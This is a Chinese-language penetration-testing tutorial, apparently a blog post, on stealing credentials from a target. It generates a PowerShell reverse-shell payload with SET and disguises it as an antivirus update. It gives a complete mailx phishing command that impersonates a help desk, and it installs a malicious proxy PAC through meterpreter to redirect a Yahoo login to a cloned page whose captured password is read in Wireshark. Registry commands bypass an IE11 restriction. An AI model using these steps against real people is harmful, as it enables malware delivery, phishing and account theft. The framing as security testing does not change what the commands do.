在渗透测试过程有时候会需要从已经被入侵的主机拿到你想要的凭据。

此时你已经成功通过社工获得web应用程序里面系统管理员或其他用户的权限并且已经建立了meterpreter的会话,可以转储密码哈希值或使用Mimikatz输出内存里面的明文凭证。但如果他们一两天之内没有登陆Web应用,你可以使用以下的两种方法碰碰运气。

你需要做的第一件事是,通过社工的方式进入他们的电脑。最好是使用一个powershell脚本建立一个反向连接。为什么使用powershell?因为要避免杀毒软件提醒任何管理员,而powershell很少被杀软列入黑名单。你可以自己编写powershell脚本,但在SET(社会工程学工具包)中已经提供了,所以在这里我们使用这个工具。

使用如下步骤运行SET。

1、打开终端运行setoolkit

图片1.png 

2、我们要进行社会工程学攻击,选择1

图片2.png 

3、选择9利用powershell攻击

图片3.png 

4、选择1,使用powershell注入shellcode

图片4.png 

5、输入要反弹的ip和端口,默认端口是443。你可以使用Metasploit调用set并使用multi/handler监听。

图片5.png 

6、SET会把生成的powershell脚本存放在/root/.set/reports/powershell/下。进入这个目录并将x86_powershell_injection.txt重命名为Anti-Virus-Update.bat这样比较诱人的名字。我们会向目标发送邮件,伪装成杀毒软件的更新。

7、打开一个新的终端,你需要使用smtp服务器进行发信。输入如下命令。

echo -e “Please save the attached file to your Desktop and double click it. This file will automatically update your Anti-Virus software with the latest version to protect your computer from the latest threats. \n\nBest regards,\nThe Help Desk” | mailx -v -r “helpdesk@infoseclocal.com” -s “Anti-Virus Update” -S smtp=”server2012r2” -a /root/.set/reports/powershell/Anti-Virus-Update.bat jsmith@infoseclocal.com 

图片6.png

8、当他们收到邮件的时候,看到的是这个样子的。 

图片7.png

9、如果他们遵循了你的建议,那你会看到一个meterpreter会话建立起来。你可以通过这个会话获取一些信息。

图片8.png

你可以使用arpspoof进行中间人攻击,但如果客户端上有IDS的话可能会发出些警告。然而,有一个更好的方法来获取用户的凭证并发送到你的电脑,那就是成为他们的web代理。但我们不能代理他们所有访问的网站,我们只需要代理需要收集凭据的网站。

首先需要创建一个pac文件,内容看起来像这样。

图片9.png 

在本例中,我们关心的是yahoo的凭据,其他的https请求应该按照各自的主机进行转发。接下来要做的是下载yahoo登陆页面的源文件,并适当的修改它。具体而言就是要修改用户的单击登陆按钮时将采取的操作。我们切换到/var/www目录下,我们要重定向受害者的请求并截取凭据。使用Wget下载yahoo的登陆页面。

图片10.png 

现在到了棘手的部分。我们需要受害人访问这个被修改后的页面,但又不能被察觉到异常。打开下载后的index.html文件,搜索action,将值修改为cred.html,并在/var/www目录下建立cred.html文件。你的index.html文件看起来如下面这个样子。

图片11.png 

删除掉无用的js代码。

图片12.png

修改cred.html文件如下。

图片13.png 

这样当受害者向假的login.yahoo.com输入凭证,然后重定向到https://www.yahoo.com。他们将不太会怀疑,以为自己输错了账号密码。

启动kali上的apache服务。

图片14.png 

让meterpreter会话后台运行。

图片15.png

在制定会话上运行ie_proxypac模块,上传编写好的proxy.pac文件到目标电脑。这个模块会让ie的代理设置使用我们上传的pac文件。

打开msfconsole,输入use post/windows/manage/ie_proxypac。通过show options查看可设置的选项。

图片16.png

这个利用模块不需要设置很多信息。设置好后运行,看到如下图的样子 。

图片17.png 

接下来启动wireshark。

图片18.png 

当受害者浏览login.yahoo.com的时候,访问的是http的版本而不是https的。

图片19.png

输入完凭据之后,会重定向到https://www.yahoo.com

现在在wireshark查看输入的凭据。为了有效的做到这一点,你需要对身份认证系统有点研究。本例login.yahoo.com使用“passwd”传输密码值。Edit > Find Packet,参数类型为“string”,搜索范围是“Packet bytes”,然后点击查找按钮。

图片20.png 

搜索到的结果被高亮显示。

图片21.png

右击这个包,选择“Follow TCP Stream”。仔细看可以看到受害者输入的用户名和密码。

图片22.png

注意这里有个坑。微软正在慢慢弃用使用proxy.pac设置代理的方式,这种方式在ie11中是无效的。但我们可以通过meterpreter会话修改注册表的值使得可用。

reg createkey -k

HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings\\ 

上述命令创建了Key,接着设置key的值。

reg setval -k 

HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings\\ -t REG_DWORD -v EnableLegacyAutoProxyFeatures -d 1 

 如果一切顺利,我们的受害者应该会向我们发送凭证,无论使用Internet Explorer 11或任何其他版本的ie浏览器。